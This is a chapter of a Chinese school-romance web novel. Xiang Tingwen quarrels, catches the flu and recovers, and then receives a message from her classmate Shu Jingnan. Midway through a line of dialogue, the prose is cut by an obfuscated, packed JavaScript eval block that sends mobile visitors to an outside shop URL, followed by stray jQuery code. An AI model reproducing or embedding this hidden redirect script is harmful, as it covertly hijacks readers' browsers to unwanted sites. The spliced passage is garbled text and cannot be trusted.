向汀雯是个好脾气的人,很少会发火。
她在众人面前一向都是那个爱笑爱闹,无论遇到什么事情都不会挂脸的人。生气,发脾气这个词似乎都与她毫无关系。
但这次她罕见地真的生气了,祝以清蹙着眉,看着站在饮水机前默不作声接水的向汀雯,生怕她一个不留神被开水烫到。
向汀雯看似无比冷静地端着杯子回去,实则坐回位置上就忘记自己要把麦片搅拌一下,魂不守舍地低头开始理东西。祝以清实在看不下去了,把扔在一旁的勺子拾起,夺过杯子开始搅拌。
她默不作声地搅拌好,瞥了一眼向汀雯,她的脸色倒是很平静,东西也不理了,呆呆地坐着。祝以清心里清楚,有时太过愤怒,会导致没有力气再往脸上写情绪。
祝以清端起杯子,吹了口热气腾腾的白烟,低头喝了一口。后背被猝不及防被谁拍了一下,几颗麦片涌进食道内,差点把祝以清呛得背过气去。
承欢一脸惊恐地看着祝以清原本白净的脸颊,在短短几秒时间内因为缺氧而涨得通红,他手忙脚乱想抽张纸巾给她,一只细长的手伸过来,抢先一步递到祝以清手里。
向汀雯不知何时从失神中抽离,迅速递上纸的同时扶住了她,一脸担忧地看着祝以清,伸手拍背给她顺气。
承欢的手一下子悬在了半空,不知自己要不要收回去。
“没事吧。”祝以清剧烈咳嗽了几声,捂着胸口大口大口喘着气,像一条搁浅的鱼一般,眼角沁出生理性的眼泪。
她就着向汀雯递来的餐巾纸胡乱摸了把脸,接着把只喝了一口的麦片往她面前一推,转过身怒火冲天地给承欢一拳。
“程承欢!你有病是不是?没看见我在喝东西!我刚才快被呛死了!”
祝以清的咆哮声灌了承欢一耳朵,他像小媳妇一样委委屈屈地缩起脖子,双手合十陪着笑脸:“不好意思啊,我没看见……”
祝以清的嘴巴张开又闭上,沉默了几秒,还是觉得自己不要浪费口水为妙,便随手抄起本书,探过身子,对着他砸下去。
承欢不愧是在篮球场上叱咤风云的小健将,人胖但动作极其灵活,一猫腰躲开了,结果被祝以清反手拧住胳膊。
“嘶——”“九阴白骨爪”的威力可比书砸在身上强得多,承欢疼得龇牙咧嘴,捂着胳膊呜呼哀哉连连求饶。
“对不起!真的对不起!”祝以清和他对峙了十几秒,这才松开手。所幸现在是冬天,穿得厚,但承欢还是疼得叫唤了几声,他撩起袖子,但胳膊太黑,看不出红印,只瞧见两道深深的掐痕。
祝以清对他的苦肉计嗤之以鼻,没好气地说:“滚,别想从我这里打探消息,有本事自己自己张嘴问。”
没本事,刚想从祝以清这边旁敲侧击一下的承欢:……
“不要这么扎心吗……”
向汀雯端着杯子,慢吞吞地喝着,麦片温度适中,喝着很是暖胃。她的情绪来得快也去得快,看完祝以清和承欢两人吵架,她的心情就好了许多,趁着离上课还有几分钟,她起身出去洗杯子。
舒景南其实很是委屈,问了一圈试图寻找罪魁祸首,结果一无所获,也不知是哪个缺心眼干的,还让他无缘无故背了个黑锅。
但他转念一想,觉得这件事还是觉得要找向汀雯说清楚。
于是舒景南推心置腹,打了一晚上腹稿,决定明天体育课时去找她,为此他还拜托走读生帮他买了点零食来赔礼道歉。
万事俱备,只欠一个向汀雯。
结果第二天,舒景南踩着点进教室,却瞧见向汀雯的座位上空空荡荡的。
?怎么回事,人呢?
直到第二节下课也不见向汀雯的踪影,舒景南一个早上往门口看了八百遍,终于被迫接受这戏剧的现实,向汀雯该不会是请假了吧。
高思龄起初都没发现,直到早读结束,课代表纷纷开始收作业,她按照惯例想问向汀雯作业交了没,结果转头发现向汀雯今天根本就没来。
“欸,祝以清,向汀雯哪去?”祝以清帮着接过她的作业,无奈地耸耸肩膀,“不知道是那包麦片喝的还是被气得,昨天下午就说自己喉咙不舒服,应该是病了。”
这番对话被一旁竖着耳朵的舒景南听去了,向汀雯请假了,那这件事只能暂时告一段落,等到她回来再提。
但舒景南没想到向汀雯连请了好几天,直到周六她拖着虚浮的身体回来上课。
她看上去还是没有痊愈,戴着医用口罩,整张脸被遮去了大半,看上去有些憔悴。周六只上半天课,况且大家都很关心向汀雯的身体,每节下课她身旁都围了好多人,舒景南根本没找到机会跟她说话。
再拖一周似乎又十分不妥……
舒景南有点烦躁,但一时又想不到办法,思来想去还是决定微信给她发条消息。
向汀雯这次是重感冒,先前就有些征兆,但她根本没放心上,想着自己年轻,身强力壮的,喝了包药熬一熬,也就将就撑过去了。
还真的被祝以清说中,大概是喝了麦片上火了,也有可能是被舒景南气得,还没放学向汀雯就感到全身酸痛地不行,四肢软绵绵的使不上力,一回到家她就支撑不住扑倒在沙发上。
钱茗一进屋见她躺在那,哼哼唧唧一副蔫蔫的模样,还以为她又要偷懒,结果一摸手发现烧得滚烫,吓得她赶紧给向汀雯找药喝。
但病来如山倒,那天晚上向汀雯睡得特别难受,喉咙肿胀灼烧,每咽一口口水都宛若刀割,扁桃体肿得难受,再加上浑身烧得滚烫,折腾到几乎整夜没睡。
钱茗本来第二天还有工作,但看向汀雯这幅模样她还是放不下心。
向德飞工作的地方比较远,再加上临近年末应酬多,他大部分都是住在公司里,大部分时候,还是需要钱茗来照顾向汀雯,她只好请假留下来陪她。
向汀雯感觉自己刚合眼不久,又被钱茗喊起来吃药,挣扎着爬起来,灌了包感冒药下去,总算在药效的作用下睡着了,再等她幽幽睁开眼,已经是下午了。
钱茗正在外面打电话,向汀雯听了一会,应该是和小姨在聊天,钱茵的大嗓门透过电话,隐隐约约传到她耳朵里。
“应该是流感吧,小酥前两天一直在咳嗽,喂了药也没什么用,早上起来小饼也咳起来了,如果再不好就要带去医院看看……”
向汀雯感觉稍微舒服点,便一骨碌爬起来,抬手揉了揉睡乱的头发,踩着拖鞋无精打采地走出来。
钱茗正靠在沙发上谈笑风生,茶几上还摆着电脑,看到向汀雯走过来,她把手机从耳边拿开,轻声问她现在感觉怎么样。
“有点饿了。”她虽然还是很疲惫,依旧含着笑意,扬着声音大喊“小姨好。”
钱茗冲着厨房努了努嘴:“锅里煮了粥,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17608992|205853||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
你去舀点来喝吧。”
钱茵在手机那段哧哧笑着:“这丫头听声音精神还不错。”
“她要是真的病好了,我明天就把她送回去上学,看样子还要再休息休息……”钱茗轻哼了一声,也起身跟过去。
清汤白水的粥看着属实没什么食欲,向汀雯撇撇嘴,还是舀了一小碗。生病期间钱茗不让她乱吃东西,只给她炒了一小碟鸡蛋作配菜。
本以为今天休息了就会好一点,没想到到了后半夜向汀雯又烧起来了。
她从光怪陆离的梦中惊醒的,被子紧紧卷在被子,她艰难动了几下,感觉自己整个人都快烫成火炉了。黏腻的汗打湿了额头的刘海,连带着全身都是说不上来的难受。
向汀雯挣扎着踢开被子,捞起床边的手机看了一眼,才凌晨五点。
她欣慰地想到,要是在学校,还有一个多小时就要起床了。
隔壁房间传来父母熟睡的鼾声,向汀雯抬头看向窗外,脖子保持一个姿势太久了,连抬头都会感到酸胀。天色还是深灰色的,没有什么光亮。离开被窝久一点又会感到寒意袭来,她又重新钻回被窝里。
本想再玩一会手机,结果没看一会手就握不住手机,向汀雯只好恋恋不舍地放下,重新躺回去,半梦半醒间,她潜意识里又想到之前那件事,想到自己的那本日记,向汀雯下意识在鼻子里哼了一声。
也不知是冷笑还是嘲讽。
就这么反复发烧,直到周五才彻底痊愈,向汀雯除了身子有些酸软外,基本已经没什么问题。
病好了向汀雯就想吃好吃的,老城区有家很有名气的面包店,向汀雯很喜欢吃里面的椰蓉面包和巧克力碎甜甜圈,但平日里不顺路,也很少去买。
碰巧向德飞忙完这茬周六回家,见她病好得差不多了,便张罗着去外面下馆子吃,她便顺势嚷嚷要去买。
晚上这家店里的人依旧不少,向汀雯看见什么都想吃,奈何胃口有限,只挑了几个就去结账。
提着面包走出门口时,口袋里的手机震动了一下,向汀雯一时腾不出手,赶紧把袋子塞到向德飞手里,手忙脚乱地从口袋里掏出手机。
是舒景南发来的。
向汀雯原本还洋溢着微笑的脸一下子垮了,她盯着消息看了半天,迟迟没下一步动作,久到一旁的钱茗都察觉到不对,偏过头来看她。
“发什么呆呢?”
向汀雯摇了摇头,反而冲着钱茗嘿嘿一笑,想凑到她面前去,却被钱茗一巴掌推开。
“你感冒还没好呢,离我远点。”向汀雯惨遭亲妈嫌弃,只好嘤嘤嘤地跑开,径直冲去车上,消息也自然忘看了。
但向汀雯不知道的是,舒景南正站在自家阳台上,垂着眸冷眼看她从面包店出来,一边和家里人打闹,一边沿着街走远。
那家面包店就在他家对面。
真巧。
身后的客厅里,电视依旧不知放着哪个年代的剧,女主声嘶力竭地呐喊着“你不要走啊!”,外公外婆在厨房里忙活着洗碗,时不时发出拌嘴声。
这些都隔着层纱网,若有若无地传入舒景南的耳朵里,他独自一人站在阳台上,瘦长的背影在地上投下一道长长的阴影,看着格外寂寥。
舒景南靠在栏杆上,重新摁亮手机屏幕,他漆黑的瞳孔麻木地倒映着自己五分钟前刚刚收到的消息,忽然觉得一切都可笑至极。